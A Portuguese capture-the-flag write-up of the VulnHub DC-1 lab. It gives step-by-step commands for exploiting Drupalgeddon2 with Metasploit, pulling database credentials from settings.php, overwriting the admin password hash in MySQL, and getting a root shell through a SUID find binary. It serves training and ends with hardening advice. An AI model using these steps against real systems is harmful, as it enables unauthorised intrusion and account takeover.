
VulnHub DC-1 boot-to-root — explorando CVE-2018-7600 (Drupalgeddon2) para RCE, extraindo credenciais do banco de dados de settings.php, forjando o hash da senha do administrador e escalando para root via SUID find.
"Writeups de laboratório de testes de penetração documentando cadeias de ataque completas — do reconhecimento à root."
Dificuldade: Iniciante–Intermediário
Plataforma: VulnHub
Objetivo: Capturar todas as 4 flags e obter comprometimento total em nível root
SO do atacante: Kali Linux (VirtualBox — Rede NAT)
SO alvo: Debian Linux (Drupal 7 CMS)
| Componente | Detalhes |
|---|---|
| Hypervisor | VirtualBox |
Ambas as máquinas virtuais foram configuradas sob a mesma Rede NAT no VirtualBox para permitir comunicação entre VMs, mantendo um ambiente de laboratório isolado.
Usei arp-scan para identificar todos os hosts ativos na sub-rede local:
sudo arp-scan -l
Resultado: Alvo identificado em 10.0.2.3
Executei uma varredura Nmap completa com detecção de versão e scripts padrão:
sudo nmap -sV -sC 10.0.2.3
Principais descobertas:
| Porta | Serviço | Versão |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 Crítico: O Nmap identificou explicitamente a aplicação web como Drupal 7 através dos cabeçalhos geradores HTTP — confirmando uma versão de CMS conhecidamente vulnerável.
O Drupal 7 é afetado por uma vulnerabilidade crítica de Execução Remota de Código (RCE) em sua API de Formulário. Um atacante não autenticado pode enviar uma solicitação HTTP adulterada que o backend executa como um comando do sistema — sem necessidade de qualquer autenticação.
Iniciei o Metasploit Framework:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
Resultado: Reverse shell do Meterpreter aberta com sucesso como www-data (o usuário do processo do servidor web).
Saí do Meterpreter para um shell Linux nativo e o estabilizei usando Python PTY:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
Resultado: Shell bash totalmente interativa como www-data@DC-1 dentro de /var/www
ls -la /var/www
cat flag1.txt
Conteúdo da Flag 1:
Every good CMS needs a config file - and so do you.
💡 Dica: Aponta diretamente para o arquivo de configuração do Drupal —
settings.php
Naveguei até o diretório de configuração do Drupal e inspecionei o arquivo de configurações:
cd /var/www/sites/default
cat settings.php
Credenciais descobertas incorporadas na matriz $databases:
| Campo | Valor |
|---|---|
| Banco de Dados | drupaldb |
| Usuário | dbuser |
| Senha | R0ck3t |
Conteúdo da Flag 2 (dos comentários do arquivo):
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?
💡 Dica: Use as credenciais para acessar o backend MySQL — sem usar força bruta.
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
Encontrei senhas com hash para admin e fred — ambas usando o esquema de hash $S$ do Drupal (baseado em SHA-512).
Em vez de quebrar o hash existente, usei o próprio script PHP integrado do Drupal para gerar um novo:
cd /var/www
php scripts/password-hash.sh password123
Saída: Um hash $S$D... válido para password123
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
Login feito em http://10.0.2.3 como admin / password123 com sucesso.
Conteúdo da Flag 3 (encontrado no painel de conteúdo admin do Drupal):
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.
💡 Dica: Configuração incorreta do binário SUID no comando
find— vetor de escalação de privilégio identificado.
cat /etc/passwd
Localizei o usuário flag4 com diretório pessoal em /home/flag4.
cat /home/flag4/flag4.txt
Conteúdo da Flag 4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
findO binário find tinha o bit SUID definido, o que significa que ele executa com os privilégios do dono do arquivo (root), independentemente de quem o execute.
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!
Comprometimento total como root alcançado. ✅
Do ponto de vista ofensivo:
settings.php frequentemente contêm credenciais em texto puro que permitem que um atacante passe do acesso web para o controle total do banco de dados.find, vim ou python são um dos vetores de escalação de privilégio mais confiáveis em ambientes Linux.Do ponto de vista defensivo:
find / -perm -4000 -type f 2>/dev/null deve fazer parte de qualquer checklist de hardening Linux.Este writeup é estritamente para fins educacionais e documenta atividades realizadas em um ambiente de laboratório isolado e legal. Nunca tente essas técnicas contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
Concluído por Prapul | Perfil no TryHackMe | GitHub
| Modo de Rede | Rede NAT (ambas as VMs na mesma sub-rede) |
| Máquina do Atacante | Kali Linux |
| Máquina Alvo | DC-1 (VulnHub) |
| IP Alvo | 10.0.2.3 (descoberto via arp-scan) |
| Ferramenta | Finalidade |
|---|
arp-scan | Descoberta de hosts na sub-rede local |
nmap | Varredura de portas e identificação de serviços |
Metasploit Framework | Entrega do exploit CVE-2018-7600 e reverse shell |
MySQL CLI | Enumeração de banco de dados e manipulação de credenciais |
PHP (password-hash.sh) | Geração de hash nativa do Drupal |
Python PTY | Estabilização do shell |
VirtualBox | Configuração de ambiente de laboratório isolado |